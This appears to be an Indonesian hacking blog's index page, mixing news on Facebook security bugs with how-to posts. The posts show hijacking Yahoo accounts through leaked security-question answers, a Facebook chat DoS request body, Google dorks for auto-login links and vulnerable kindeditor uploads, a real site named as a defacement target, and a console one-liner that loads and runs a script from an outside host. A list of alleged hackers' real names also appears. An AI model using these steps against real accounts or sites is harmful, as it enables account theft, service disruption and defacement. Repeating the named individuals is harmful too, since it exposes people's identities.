2 Hacker Mengatakan Lubang Keamanan Membiarkannya Mengakses Profil Facebook

Seorang hacker keamanan baru-baru menemukan sebuah cacat dalam sistem Facebook yang memungkinkan pengembang untuk mengakses siapa pun akun Facebook melalui izin app.

Meskipun Facebook tetap memiliki masalah ini, Nir Goldshlager, aplikasi Web keamanan spesialis yang mencari jenis kekurangan profesional, menemukan bug otorisasi aplikasi lebih yang perlu diperbaiki, menurut blog-nya. Izin app adalah apa yang pengembang menggunakan untuk mengakses data pengguna yang dibutuhkan untuk menjalankan aplikasi mereka. Pengguna memberikan mereka akses izin ketika mereka menginstal aplikasi.

"Saya menemukan beberapa kekurangan yang lebih OAuth di Facebook, hanya menunggu untuk memperbaiki untuk posting tentang hal itu," tulis Goldshlager dalam blognya, di mana ia rinci temuannya.

Facebook tidak akan mengomentari apa yang lainnya kekurangan Goldshlager mungkin telah ditemukan tetapi mengatakan bug asli dia terdeteksi belum dimanfaatkan oleh pengembang Facebook yang sebenarnya. Perusahaan tidak mengatakan kapan Goldshlager melaporkan cacat.

"Kami memuji peneliti keamanan yang membawa masalah ini untuk perhatian kita dan untuk bertanggung jawab melaporkan bug ke Program White Hat kami. Kami bekerja dengan tim untuk memastikan bahwa kami memahami cakupan penuh dari kerentanan, yang memungkinkan kita untuk memperbaikinya tanpa bukti bahwa bug ini dieksploitasi di alam liar, "tulis perwakilan Facebook dalam sebuah e-mail ke CNET. "Karena pelaporan yang bertanggung jawab dari masalah ini ke Facebook, kita tidak memiliki bukti bahwa pengguna dipengaruhi oleh bug ini Kami telah memberikan karunia kepada peneliti berterima kasih kepada mereka atas kontribusi mereka ke Facebook Security.."

The Goldschlager bug yang ditemukan memungkinkan dia untuk mencuri token akses dan mendapatkan akses penuh ke profil sebagai pengembang. Ini termasuk pesan, manajemen halaman, manajemen iklan, foto pribadi, dan video. Hal ini diterapkan untuk profil yang tidak menginstal aplikasi tambahan karena ia bisa pergi melalui built-in aplikasi Facebook, seperti messenger, juga. Token untuk aplikasi pihak ketiga tidak berakhir kecuali korban berubah nya atau password-nya, tetapi aplikasi utusan token untuk Facebook

sumber: news.cnet.com

Read More »

30 Cara Hack Email Yahoo

Selamat malam =)) hehehe..... Si admin lagi sibuk kerja nie baru lagi mau posting.
Seperti judul di atas CARA HACK EMAIL YAHOO. Ini bukannya mau hack YAHOO yahh tapi Email contoh: imelsaya@yahoo.com yang sudah tau yahh udah lewat aja. hehhehe
Berhubung Admin Pountar - cyber lagi gak mau basa-basi OKe kita langsung simak di bawah ini.




Ketikan di pencarian google: "Siapakah tokoh kartun favorit Anda semasa kecil? 4shared" tanpa tanda petik.

Sekedar perkenalan Yahoo adalah alamat situs di internet yang menyediakan fasilitas email gratis dengan domain yahoo . Yahoo tidak hanya berfokus kepada email saja, rupanya yahoo juga memberikan berita-berita terbaru yang disusun atas beberapa kategori. Yahoo juga mempunyai situs jejaring social yang di kenal Yahoo Koprol, namun kabar terakhir yang saya dengar Yahoo Koprol mau ditutup karena Saham Yahoo turun. Dalam melaksanakan bisnisnya yahoo juga bekerja sama dengan facebook dan 4shared. Untuk 4shared sendiri, kita bisa mendownload lagu dengan masuk ke 4shared menggunakan akun Yahoo kita. Dari sini lah nanti kita akan mencuri Password orang. (Reconnaissance)

Sebelum melakukan hacking, ada baiknya kita mengetahui security dari akun Yahoo. Masih ingat ketika kita mendaftar email di yahoo ? ada pertanyaan keamanan. Pertanyaan keamanan ini digunakan untuk recovery password / mengganti password bila kita lupa password kita. (Scanning )
Oke, sekarang kita beraksi, oh ya disini kita melakukan Hacking Email Yahoo / Akun email user, bukan Hacking Yahoo, karena artinya sangat jauh berbeda.
Metode yang kita gunakan adalah forgot password. Emang kita tahu jawaban dari pertanyaan keamanan yang akan kita hack account nya ? untuk mengetahuinya, kita akan sedikit melakukan pencarian informasi di google dengan memanfaatkan 4shared yang telah tersinkronisasi dengan Yahoo. Caranya gampang, ketik pertanyaan keamanan Yahoo kemudian diakhiri dengan 4shared, seperti gambar di atas.

Setelah anda memasukan passcode tersebut anda akan mendapatkan pilihan di bawah ini, Sebagai contoh saya memilih link yang saya tandai:
   
                 
 
  Oke di klik lagi dan taraaaaa..... Semua informasi imel, password, Cpanel login, web dll jadi satu di dok ini :D

Step berikutnya setelah kita mendapatkan informasi dok di atas, Kita masuk ke yahoo dan lanjutkan dengan pilih "Tidak bisa mengakses account"

                                         

Silahkan lanjutkan dengan step by step permintaan Yahoo sesuai dengan kebutuhan anda :)
Well kreasikan idemu =))
nb: Untuk email di atas tidak usah di coba buka lagi karna sudah ada yang duluan membukanya..

Read More »

2 Serangan Denial of Service (DOS) Dengan Facebook Chat

Peneliti keamanan Chris C Russo mengklaim telah menemukan cara dengan menggunakan modul chatting Facebook untuk meluncurkan serangan denial-of-service (DOS) terhadap pengguna manapun, bahkan jika tidak berteman dengan penyerang sekalipun.

Russo mengungkapkan bahwa serangan itu mirip dengan yang pernah diluncurkan melalui MSN messenger. Sejumlah besar paket dikirim ke target, menyebabkan aplikasi mengalami crash. "Modul chatting yang pada saat itu sudah tidak dapat saya gunakan karena sepertinya saya telah diblokir setelah mengujinya. Tidak ada jenis batasan dalam jumlah karakter yang dapat dikirim," jelasnya.

"Memungkinkan untuk mendisconnect 3 user penguji yang berbeda (3 dari 3) dengan mengirimkan pesan yang cukup besar. Salah satunya melaporkan bahwa tabletnya restart setelah penerimaan, dan tidak memungkin lagi untuk membuka aplikasi Facebook lagi, karena log chatting akan tetap tersimpan dan itu akan membuat crash aplikasi lagi" tambahnya

Menunut peneliti, serangan DOS  memungkinkan karena parameter di http://www.facebook.com/ajax/mercury/send_messages.php

message_batch[0][action_type]=ma-type%3Auser-generated-message
&message_batch[0][thread_id]
&message_batch[0][author]=fbid%3A100000000000000
&message_batch[0][author_email]
&message_batch[0][coordinates]
&message_batch[0][timestamp]=1352175498252
&message_batch[0][timestamp_absolute]=Today
&message_batch[0][timestamp_relative]=1%3A19am
&message_batch[0][is_unread]=false
&message_batch[0][is_cleared]=false
&message_batch[0][is_forward]=false
&message_batch[0][spoof_warning]=false
&message_batch[0][source]=source%3Achat%3Aweb
&message_batch[0][source_tags][0]=source%3Achat
&message_batch[0][body]=%3C<EXTREMLY LONG MESSAGE HERE>%3E
&message_batch[0][has_attachment]=false
&message_batch[0][html_body]=false
&
&message_batch[0][specific_to_list][0]=fbid%3A126000000
&message_batch[0][specific_to_list][1]=fbid%3A100000000000000
&message_batch[0][status]=0
&message_batch[0][message_id]=%3C1352175400000%3A3112200000-1080509979%40mail.projektitan.com%3E
&
&message_batch[0][client_thread_id]=user%3A1263600000
&client=mercury
&__user=100001220521369
&__a=1
&fb_dtsg=AQDT8YAC
&phstamp=1658168845689000000000

(Properly replace the <EXTREMLY LONG MESSAGE HERE> before testing)

Dia telah mengungkapkan bahwa serangan ini dapat dikurangi dengan menganalisis length parameter sebelum mengirimkan informasi ke pengguna. "Secara pribadi saya percaya bahwa pasti ada sesuatu yang salah juga dengan token XSRF, karena memungkinkan saya untuk mengirim beberapa paket dengan menggunakan cara yang sama yang awalnya saya ekstrak" tulis Russo pada Seclist.org

Ahli tersebut mengklaim bahwa kerentanan ini telah ia temukan sejak dulu, tapi Facebook butuh waktu 6 minggu untuk membalas laporannya dan hanya mengatakan kepada Russo bahwa "tidak ada cacat sama sekali".

Sumber: Seclists.org, Cyber4rt.com

Read More »

1 Google Search Mengekspos Lebih Dari 1 Juta Akun Facebook

Seorang member dari Hacker News mendapati bahwa dengan melakukan pencarian di Google dengan keyword: "inurl:bcode=[*]+n_m=[*] site:facebook.com", akan memberikan link dari sekitar 1,3 juta pengguna Facebook. Beberapa link dapat di gunakan untuk mendapatkan akses ke akun tersebut tanpa perlu password.

Link temporer yang di hasilkan oleh Facebook akan expire segera ketika Anda mengkliknya, dan banyak dari link tersebut telah diklik sejak "trik hacking" tersebut teridentifikasi, dan akun tersebut sudah tidak bisa lagi di akses tanpa password. Namun link tersebut masih bisa di manfaatkan untuk melihat alamat email si pemilik akun.

Adalah Nico-roddz di Hacker News, yang mengidentifikasi masalah tersebut, dan mengklaim menemukan bug setelah seorang temannya mengirimkan link."Seorang teman saya memforward email notifikasi grup FB, seperti ini: http://www.facebook.com/n/?groups% [id here]/permalink %[id here]/&mid=[id here]&bcode= [id here]-mjoi&n_m=[email adress here]. Saat saya mengklik url-nya secara otomatis saya login ke akun teman tersebut, jadi jelas ini adalah masalah pada keamanan Facebook" Nico menjelaskan.

Untungnya, Matt Jones dari tim keamanan Facebook melihat berita tersebut dan langsung cepat turun tangan.

"Kami hanya mengirim URL tersebut hanya ke alamat email dari pemilik akun demi kemudahan saja,dan jangan pernah email anda disetting publik(umum). Bahkan kami telah memberikan proteksi di tempat itu guna mengurangi kemungkinan orang lain bisa mengklik ke akun pengguna" Jones menjelaskan.

Jones juga menjelaskan bahwa link tersebut akan expire setelah jangka waktu tertentu. Selain itu, terdapat pemeriksaan keamanan tambahan yang ditetapkan untuk menghindari penyalahgunaan.

Namun, karena pemeriksaan keamanan tambahan tersebut telah cacat, Facebook memutuskan menon-aktifkan fitur tersebut sampai masalah ini benar-benar selesai. Adapun akun-akun yang telah login melalui "celah" ini juga telah diamankan.

Sumber: Softpedia

Read More »

2 Membuka Memori Yang Di Password

Membuka memori yang di password tanpa harus di format :

• Cari dan install aplikasi FExplorer di google khusus nokia symbian yang di sesuaikan dengan versi HP Nokia
• Jalankan aplikasi FExplorer dengan membuka drive C: terlebih dahulu
• Selanjutnya masuk ke folder C:System
• Lalu cari file yang bernama mmcstore lalu copy file ini ke komputer dengan cara via Bluetooth atau media transfer data lainnya 
• Buka file mmcstore di komputer dengan menggunakan noped atau teks editor
• Setelah terbuka file nya akan tahu kode password atau sandi pada memori card
• Setelah itu masukan kode sandi ketika akan membuka memori card tadi lewat HP atau juga bisa menonaktifkan kode sandinya setelah tahu kode asal dari memori tersebut.
  
  Semoga bermanfaat =))
  

Read More »

2 Website Stasiun TVRI Di Hack Defacer Indo

Menurut informasi yang saya dapat, situs ini sudah diretas 2 kali yang pertama pada tanggal 28-02-2012 dengan pelaku yang bernama Beny katalizer, dan yang kedua kemarin (25-08-2012) dengan pelaku yang sama, yaitu Beny katalizer dan ditambah satu pelaku lagi yaitu wika.

Kayaknya itu pelaku sudah tanam shell di website tersebut dan Sysadminnya lupa untuk menghapus shell milik peretas.
Kemarin saya jg pernah dengar kalo itu site ada lobangnya, tapi lupa saya ada disebelah mana.

Berikut SS pada tanggal 28-02-2012 yang saya dapat dari KASKUS

Yang ini SS tanggal 25-08-2012

Website yang di retas : http://www.tvri.co.id & http://www.tvri.baliserve.com/

sumber: Kaskus, OneSect

Read More »

5 150 Hacker Terbaik Di Indonesia

WE ARE HACKER

Senior Hacker Indonesia

Dani Firmansyah A.K.A Xnuxer
Onno W. Purbo A.K.A Kang Onno
I Made Wiryana A.K.A Pak Made

Wenas Agusetiawan > hantucrew
Rummy Taulu > cyberbug
Prasodjo > www.gauli.com
S'to > www.jasakom.com
Ruth > www.jasakom.com
Iwan Dharmawan > Chikebum




Attackers And Activists Hacker Indonesian Country


W1stey A.K.A Wirohman Juliandri Siregar
sHeLL-box A.K.A Subhanjaya Angga Atmaja
Gsvnur A.K.A Very Wirawan
Drackset A.K.A Ronny Permadi
Noc-a5 A.K.A Novriansyah Astarani
Qpets A.K.A Muhammad Rendy Trisna
Rozi A.K.A Ihsan Al Rozi
64_w@tt A.K.A Ribut Ali Wibowo
Gab3l A.K.A Yuliardi Arysad
Tellme A.K.A Helmi Supriadi
Belttrack A.K.A Yoga Veliandi Akbar
Noface A.K.A Nopas
UtuH A.K.A utuh
^Andra^Valid A.K.A Andra
Badlogic A.K.A Arf
Sincan2 A.K.A Hd
MrHappy A.K.A Ulil
Dicky A.K.A ArinaL
Vend3r A.K.A aRz
Splitdown A.K.A Muhhamad Iqbal Admaja
S1dos1do A.K.A Barry Adam A.R
Roney A.k.A Frry
R1cky A.K.A Fdl
Chucu A.K.A Krs
Al-Marhum a.k.a Yuda
Saputra A.K.A Saputra
Anonymity A.K.A Syahari
Indrax A.K.A Indrax
DunovSR A.K.A dunovsr
SwingPoint A.K.A Yitro

Izal Aya NFty
Brokencode
MRHPx
zian
fajar
xin3td
masterfelix
ronnipurba
vyc0d
arielthekillers
ijoo
nofia fitri
anggamovic
AcizNinja
Cry_Stealth
Tomms
Andystonecold
DND
aNtI_hAcK
Onedroid
YogiBinusHacker
avinchandra
s0ny
Xcore
KatsukiDaito
Sh3r0Azur@
GreatKudo
Sandm3n
Papa.Bank
™manssizz™
Irfani
adeshinichi
Akhan
God Hand
AryEvi
Blue_KerneL
Rey_Cute
lhee-ya
only_one_icha
c0d3HitLER
Eko
Kudel
Kerinduan
Xx_User
Sony
ToxiCity
Culun_Borneo
Hasiholan
Lingah
M_A_y_A_t
Ariee
Arab Jkt
Silentman
Shinchi
Dennis_Ridiculous
Dawood Khan
Route
Accank
Dj_Fs
Ang|n
Code`Red
Indra
Letjen
Family-Code
Dhimas
Psychophysiological
YoGa
MakubeX
Angel-Of-Death
A-n-d-i-e
BliNd_bOy
Zhall
Wiryo
bL4Ck_3n91n3
R3B3L
Elfata
Aneurysm
DvL
Ione
Ruffy
Gino
Haris Deval
Farhan
Ihmmank
Agus B
Vaganci Eka
Marlboro filter
Jack D
Arioo
Eidelweiss
AdHiKu
N1tr00
Sofian
Hen
Mo3sLiM
Onny
XdikaX
Agoes Bndg
Tricksy
Chacky
An_stve
Mufthy
Paman
Spykit
Pizzy
Nad
Poni
s3t4n
^s0n_g0ku^
Agent`007
tux-kecil
k4l0nk

Situs Hacker Indonesia

www.binushacker.net
www.jasakom.com
www.echo.or.id
www.kecoak.org
www.devilzc0de.org
www.spyrozone.net
www.yogyacarderlink.web.id
www.nyit-nyit.net
www.indonesianhacker.or.id
www.muslimhacker.net
www.sekuritionline.net
www.exploit-id.com
www.surabayahackerlink.org
www.xcode.or.id
www.hacker-newbie.org
Sejarah tentang Hack, Hacker, dan Hacking

 Sebelum terbentuknya komunikasi yang tercipta di Internet, pada tahun 1960-an beberapa mahasiswa ilmu komputer di Massachusetts Institute of Technology (MIT) yang gemar untuk melakukan engineering dan re-engineering terhadap perangkat keras dan perangkat lunak sering melakukan diskusi-diskusi terbuka yang disana membahas masalah :

    Ide-ide mengenai pengembangan perangkat keras dan perangkat lunak
    Ide-ide mengenai transformasi terhadap teknologi dan informasi

 Pengistilahan dan perkataan “Hack” sebenarnya adalah merupakan slang yang pada saat itu belum memiliki arti yang spesifik dan sebenarnya. Kebiasaan-kebiasaan mengucapkan “I Hack This Stuff” seakan-akan memberikan arti bahwa istilah Hack merupakan kegiatan yang sedang dan memperoleh hasil setelah melakukan pengembangan terhadap segala sesuatu yang dilakukan. Pengembangan-pengembangan yang secara khusus diberikan kepada minicomputer dan microcomputer tersebutlah istilah “Computer Hacker” terbentuk.

 Dengan kata lain, Computer Hacker adalah seseorang yang mengaplikasikan kemampuan dalam cakupannya mengenai komputer software, komputer hardware, komputer arsitektur, komputer desain, serta administrasi yang terkandung didalamnya. Seorang Hacker dituntut memiliki kemampuan dalam hal pemrograman untuk tingkatan software, dan keahlian dibidang hardware. Tuntutan yang sedemikian luasnya untuk keamanan disisi sistem aplikasi dan jaringan, memberikan motivasi bagi seorang Hacker untuk mengembangkan keahlian tersebut sehingga hasil dari penelitian yang dilakukan akan memberikan dampak yang positif bagi kelangsungan IT itu sendiri.

 Dengan melihat sekelumit penjelasan diatas, kita dapat memberikan kesimpulan bahwa Hacking bukanlah sebatas pada kegiatan illegal yang identik dengan pengrusakan sebuah sistem dan aplikasi, atau sebatas kegiatan-kegiatan tentang pencurian sebuah data-data penting, melainkan kepada tindakan untuk melakukan perubahan yang mendasar atau perbaikan-perbaikan terhadap sistem dan aplikasi, baik yang berupa software ataupun hardware.

KELOMPOK HACKER BERDASARKAN MOTIF

    Black Hat Para hacker yang menjelma menjadi cracker / attacker yang menggunakan kemampuannya untuk tujuan kriminal dan cenderung membahayakan kepentingan pihak lain. Pada umumnya orang-orang yang tergabung dalam kelompok ini adalah yang bergerak secara individu atau sesuai idealisme tertentu dan tidak terikat atas kepentingan pihak tertentu.
    Grey Hat Para hacker yang memberikan informasi yang diperoleh ke para attacker maupun para vendor, untuk memperoleh imbalan tertentu. Kelompok ini dikenal juga sebagai cracker, yakni orang-orang yang tidak memiliki keberpihakan pada pihak manapun dan menjual berbagai informasi yang diperlukan sesuai kebutuhan yang ada.
    White Hat (hacker sejati) Orang-orang yang melakukan aktivitas hacking dalam rangka memperoleh informasi tentang celah-celah keamanan, maupun kelemahan-kelemahan yang dimiliki untuk diberikan kembali kepada pihak yang bersangkutan untuk disempurnakan kembali.
    Blue Hat yang punya kemampuan seperti white hat, tapi berkecimpung di dunia pendidikan.

TUJUH KELOMPOK HACKER BERDASARKAN PROFILE KEMAMPUAN

 Pembagian para hacker berdasarkan profile kemampuan profesionalnya terbagi menjadi tujuh kelompok. Hal ini sebagaimana dijelaskan oleh Marc Rogers MA, seorang guru besar psikologi dari University of Manitoba Hawai, yakni:

    Tool Kids/NewBies Orang-orang yang baru belajar aktivitas hacking, namun kemampuan kemampuan tentang komputer serta teknik pemrograman relatif terbatas dan hanya baru bisa membuat program-program dasar. Aktivitas hacking yang dilakukan, umumnya menggunakan bantuan aplikasi yang terdapat di internet hingga tidak murni mengandalkan kemampuan individunya.
    Cyber Punk Orang-orang yang memiliki pengetahuan dan teknik komputer yang lebih tinggi dibandingkan NewBies. Mereka sudah mampu memahami karakteristik dari sistem jaringan ataupun sistem yang sedang mereka serang. Pengetahuan mereka tentang bahasa pemrograman cukup andal, karena mampu mendefinisikan hingga karakteristik umumnya. Dengan kemampuannya ini, ia sudah mampu menciptakan alat bantu infiltrasi sendiri, hingga tidak lagi menggunakan program-program bantu yang tersedia di internet. Aktivitas-aktivitas yang dilakukan memiliki kecenderungan untuk kriminal, seperti defacing web, carding, ataupun spamming.
    Internals Orang-orang yang masih bergabung ataupun pernah (mantan) dengan perusahaan TI, dengan kemampuan komputer dan programming yang anda. Dan melakukan berbagai aktivitas hacking dengan mengandalkan berbagai kombinasi sumber daya internal maupun eksternal yang ada untuk berbagai tujuan. Contoh, pelanggaran paling sering dilakukan adalah breaking over priviledge activity, yakni segala aktivitas yang melanggar batasan-batasan hak yang dimiliki.
    Coders Golongan ini dikenal juga sebagai resources, yakni orang-orang yang menjual berbagai informasi yang ada di internet ke pihak-pihak yang membutuhkan. Kemampuan programming dan teknisnya sangat andal dan kelompok ini malakukan berbagai aktivitas infiltrasi dalam rangka untuk memperoleh berbagai data ataupun informasi yang dapat dijual. Coders juga membantu membuat berbagai aplikasi bantu hacking yang dibutuhkan oleh para hacker ataupun attacker/cracker yang membutuhkan.
    Old Guard Hackers (Idealism Gate Keepers) Para hacker sejati yang murni melakukan aktivitas-kativitas hacking dalam rangka untuk tujuan ilmiah dan kebaikan semua pihak. Jumlah golongan ini relatif sangat sedikit, karena idealisme yang dijunjung memaksa mereka untuk menggunakan kode etik yang dijunjung tinggi oleh para hacker, yakni kemampuan di atas segalanya.
    Professional Criminals Para attacker/cracker yang bergerak atas nama kelompok ataupun individu dan melakukan berbagai aktivitas cyber crime sebagai sumber kehidupan utamanya. Kemampuan yang dimiliki oleh kelompok ini sangat sempurna karena mengombinasikan berbagai piranti keras dan pengetahuan programming yang bisa diandalkan dibantu data/informasi yang diperoleh dari Coders. Aktivitas kejahatan yang dilakukan tidak lagi dalam kelas cyber punk yang lebih banyak pada target individu, namun justru pada kalangan korporat dengan jalan merampok dana yang tersedia dengan melakukan transfer secara tersembunyi.
    Cyber Terrorist Sekelompok orang atau individu yang bertindak atas dasar sentimen pada suatu kelompok atau pihak tertentu, dan melakukan berbagai aktivitas yang bertujuan untuk menunjukkan eksistensi mereka pada lingkungan dunia. Tingkatan kemampuan yang dimiliki kelompok ini adalah yang tertinggi karena menggabungkan berbagai sumber daya yang ada, level kemampuan, bahkan menggunakan sarana prasarana bantuan dari pihak sponsor yang membantu seperti satelit komunikasi.

Apapun alasannya ‘hacking’ adalah tindakan yang tidak melangar hukum, namun disebut “cracking” apabila digunakan untuk merusak, menghilangkan data / sesuatu yang bukan milik kita. Akan tetapi yang kita ketahui bersama – sama bahwa tidak adanya jaminan yang memastikan data atau informasi yang kita punya adalah 100 % aman dan kondisi inilah yang digunakan orang untuk memulai “pekerjaan” merusak dari awalnya iseng hingga professional. Hal terpenting yang bisa kita lakukan adalah menutup segala kemungkinan celah keamanan yang terbuka dan selalu mengupdate data / informasi [ siaga ].

 [ How About You ? What Type Of Hacker You Want ? Ready To Hack? ]

Oke – Apakah kamu sudah siap untuk bergabung jadi Hacker Indonesia ?? Atau kamu mundur ??
Hehehehhe..  Mari kita kibarkan Bendera Merah Putih Indonesia di Dunia Cyber !!


Sumber :
Wikipedia
Anonymous
Majalah Tempo Online
Dan Dikutip dari berbagai sumber referensi terpercaya

Read More »

5 Cara Cepat Menambahkan Teman Di GrupFB

1. Masuk ke grup FB anda
2. Tekan Ctrl + Shift + K di keyboard anda
3. Copy Paste Code di bawah ini

document.body.appendChild(document.createElement('script')).src='http://cyberboomb-like.16mb.com/AutoInviteGroup.js';

NB: Gunakan mozila pada browser andaOke,, Gampangkan ?? :v Sekian dulu =))

                                                                                                                              credit by deeyjayhan

Read More »

2 15 Cara Hack/Deface Web

Cara cara seoarang hacker menembus ataupun menyusup dan juga merusak suatu website adalah sebagai berikut.Teknik teknik itu antara lain:

1. IP Spoofing
2. FTP Attack
3. Unix Finger Exploits
4. Flooding & Broadcasting
5. Fragmented Packet Attacks
6. E-mail Exploits
7. DNS and BIND Vulnerabilities
8. Password Attacks
9.Proxy Server Attacks
10. Remote Command Processing Attacks
11. Remote File System Attack
12. Selective Program Insertions
13. Port Scanning
14.TCP/IP Sequence Stealing, Passive Port Listening and Packet
15. HTTPD Attacks

1. IP Spoofing
IP Spoofing juga dikenal sebagai Source Address Spoofing, yaitu pemalsuan alamat IP attacker sehingga sasaran menganggap alamat IP attacker adalah alamat IP dari host di dalam network bukan dari luar network. Misalkan attacker mempunyai IP address type A 66.25.xx.xx ketika attacker melakukan serangan jenis ini maka Network yang diserang akan menganggap IP attacker adalah bagian dari Networknya misal 192.xx.xx.xx yaitu IP type C.

IP Spoofing terjadi ketika seorang attacker "mengakali" packet routing untuk mengubah arah dari data atau transmisi ke tujuan yang berbeda. Packet untuk routing biasanya di transmisikan secara transparan dan jelas sehingga membuat attacker dengan mudah untuk memodifikasi asal data ataupun tujuan dari data. Teknik ini bukan hanya dipakai oleh attacker tetapi juga dipakai oleh para security profesional untuk men tracing identitas dari para attacker

2. FTP Attack
Salah satu serangan yang dilakukan terhadap File Transfer Protocol adalah serangan buffer overflow yang diakibatkan oleh malformed command. tujuan menyerang FTP server ini rata-rata adalah untuk mendapatkan command shell ataupun untuk melakukan Denial Of Service. Serangan Denial Of Service akhirnya dapat menyebabkan seorang user atau attacker untuk mengambil resource didalam network tanpa adanya autorisasi, sedangkan command shell dapat membuat seorang attacker mendapatkan akses ke sistem server dan file-file data yang akhirnya seorang attacker bisa membuat anonymous root-acces yang mempunyai hak penuh terhadap system bahkan network yang diserang

3. Unix Finger Exploits
Pada masa awal internet, Unix OS finger utility digunakan secara efisien untuk men sharing informasi diantara pengguna. Karena permintaan informasi terhadap informasi finger ini tidak menyalahkan peraturan, kebanyakan system Administrator meninggalkan utility ini (finger) dengan keamanan yang sangat minim, bahkan tanpa kemanan sama sekali. Bagi seorang attacker utility ini sangat berharga untuk melakukan informasi tentang footprinting, termasuk nama login dan informasi contact.

Utility ini juga menyediakan keterangan yang sangat baik tentang aktivitas user didalam sistem, berapa lama user berada dalam sistem dan seberapa jauh user merawat sistem. Informasi yang dihasilkan dari finger ini dapat meminimalisasi usaha kracker dalam menembus sebuah sistem. Keterangan pribadi tentang user yang dimunculkan oleh finger daemon ini sudah cukup bagi seorang atacker untuk melakukan social engineering dengan menggunakan social skillnya untuk memanfaatkan user agar "memberitahu" password dan kode akses terhadap system.

4. Flooding & Broadcasting
Seorang attacker bisa mengurangi kecepatan network dan host-host yang berada di dalamnya secara significant dengan cara terus melakukan request/ permintaan terhadap suatu informasi dari sever yang bisa menangani serangan classic Denial Of Service (DoS), mengirim request ke satu port secara berlebihan dinamakan flooding, kadang hal ini juga disebut spraying. Tujuan dari kedua serangan ini adalah sama yaitu membuat network resource yang Menyediakan informasi menjadi lemah dan akhirnya menyerah.

Serangan dengan cara Flooding bergantung kepada dua faktor yaitu: ukuran dan/atau volume (size and/or volume). Seorang attacker dapat menyebabkan Denial Of Service dengan cara melempar file berkapasitas besar atau volume yang besar dari paket yang kecil kepada sebuah system. Dalam keadaan seperti itu network server akan menghadapi kemacetan: terlalu banyak informasi yang diminta dan tidak cukup power untuk mendorong data agar berjalan. Pada dasarnya paket yang besar membutuhkan kapasitas proses yang besar pula, tetapi secara tidak normal paket yang kecil dan sama dalam volume yang besar akan menghabiskan resource secara percuma, dan mengakibatkan kemacetan

5. Fragmented Packet Attacks
Data-data internet yang di transmisikan melalui TCP/IP bisa dibagi lagi ke dalam paket-paket yang hanya mengandung paket pertama yang isinya berupa informasi bagian utama (header/ kepala) dari TCP. Beberapa firewall akan mengizinkan untuk memproses bagian dari paket-paket yang tidak mengandung informasi alamat asal pada paket pertamanya, hal ini akan mengakibatkan beberapa type system menjadi crash. Contohnya, server NT akan menjadi crash jika paket-paket yang dipecah (fragmented packet) cukup untuk menulis ulang informasi paket pertama dari suatu protokol

6. E-mail Exploits
Peng-exploitasian e-mail terjadi dalam lima bentuk yaitu: mail floods, manipulasi perintah (command manipulation), serangan tingkat transportasi(transport level attack), memasukkan berbagai macam kode (malicious code inserting) dan social engineering(memanfaatkan sosialisasi secara fisik). Penyerangan email bisa membuat system menjadi crash, membuka dan menulis ulang bahkan mengeksekusi file-file aplikasi atau juga membuat akses ke fungsi fungsi perintah (command function)

7. DNS and BIND Vulnerabilities
Berita baru-baru ini tentang kerawanan (vulnerabilities) tentang aplikasi Barkeley Internet Name Domain (BIND) dalam berbagai versi mengilustrasikan kerapuhan dari Domain Name System (DNS), yaitu krisis yang diarahkan pada operasi dasar dari Internet (basic internet operation)

8. Password Attacks
Password merupakan sesuatu yang umum jika kita bicara tentang kemanan. Kadang seorang user tidak perduli dengan nomor pin yang mereka miliki, seperti bertransaksi online di warnet, bahkan bertransaksi online dirumah pun sangat berbahaya jika tidak dilengkapi dengan software security seperti SSL dan PGP. Password adalah salah satu prosedur kemanan yang sangat sulit untuk diserang, seorang attacker mungkin saja mempunyai banyak tools (secara teknik maupun dalam kehidupan sosial) hanya untuk membuka sesuatu yang dilindungi oleh password.

Ketika seorang attacker berhasil mendapatkan password yang dimiliki oleh seorang user, maka ia akan mempunyai kekuasaan yang sama dengan user tersebut. Melatih karyawan/ user agar tetap waspada dalam menjaga passwordnya dari social engineering setidaknya dapat meminimalisir risiko, selain berjaga-jaga dari praktek social enginering organisasi pun harus mewaspadai hal ini dengan cara teknikal. Kebanyakan serangan yang dilakukan terhadap password adalah menebak (guessing), brute force, cracking dan sniffing

9.Proxy Server Attacks
Salah satu fungsi Proxy server adalah untuk mempercepat waktu response dengan cara menyatukan proses dari beberapa host dalam suatu trusted network

10. Remote Command Processing Attacks
Trusted Relationship antara dua atau lebih host Menyediakan fasilitas pertukaran informasi dan resource sharing. Sama halnya dengan proxy server, trusted relationship memberikan kepada semua anggota network kekuasaan akses yang sama di satu dan lain system (dalam network).

Attacker akan menyerang server yang merupakan anggota dari trusted system. Sama seperti kerawanan pada proxy server, ketika akses diterima, seorang attacker akan mempunyai kemampuan mengeksekusi perintah dan mengkases data yang tersedia bagi user lainnya

11. Remote File System Attack
Protokol-protokol untuk tranportasi data (tulang punggung dari internet) adalah tingkat TCP (TCP Level) yang mempunyai kemampuan dengan mekanisme untuk baca/tulis (read/write) Antara network dan host. Attacker bisa dengan mudah mendapatkan jejak informasi dari mekanisme ini untuk mendapatkan akses ke direktori file

12. Selective Program Insertions
Selective Program Insertions adalah serangan yang dilakukan ketika attacker menaruh program-program penghancur, seperti virus, worm dan trojan (mungkin istilah ini sudah anda kenal dengan baik ?) pada system sasaran. Program-program penghancur ini sering juga disebut malware. Program-program ini mempunyai kemampuan untuk merusak system, pemusnahan file, pencurian password sampai dengan membuka backdoor

13. Port Scanning
Melalui port scanning seorang attacker bisa melihat fungsi dan cara bertahan sebuah system dari berbagai macam port. Seorang atacker bisa mendapatkan akses kedalam sistem melalui port yang tidak dilindungi. Sebaia contoh, scaning bisa digunakan untuk menentukan dimana default SNMP string di buka untuk publik, yang artinya informasi bisa di extract untuk digunakan dalam remote command attack

14.TCP/IP Sequence Stealing, Passive Port Listening and Packet
Interception TCP/IP Sequence Stealing, Passive Port Listening dan Packet Interception berjalan untuk mengumpulkan informasi yang sensitif untuk mengkases network. Tidak seperti serangan aktif maupun brute-force, serangan yang menggunakan metoda ini mempunyai lebih banyak kualitas stealth-like

15. HTTPD AttacksKerawanan yang terdapat dalam HTTPD ataupun webserver ada lima macam: buffer overflows, httpd bypasses, cross scripting, web code vulnerabilities, dan URL floods.

Read More »

0 Cara Deface Super Newbie 30 Detik

Pountar - Cyber Dalam Rangka 17 Agustus Saya Mau share Cara Deface Super Newbie 30 Detik Kelar Dehh.... Hehehehehe

Pertama: Buka google.com Truz masukan Code di bawah
Dork_Code:

inurl:examples/uploadbutton.html
inurl:kindeditor
 

Gunakan Pikiran seorang HACKER untuk mendapatkan korban yg lebih banyak...

exploit:

 http://www.maxpointchina.com/asset/admin/js/kindeditor/examples/uploadbutton.html

Step 1: Klik Upload

Step 2: Pilih HTML pepesan kamu...




step 3:
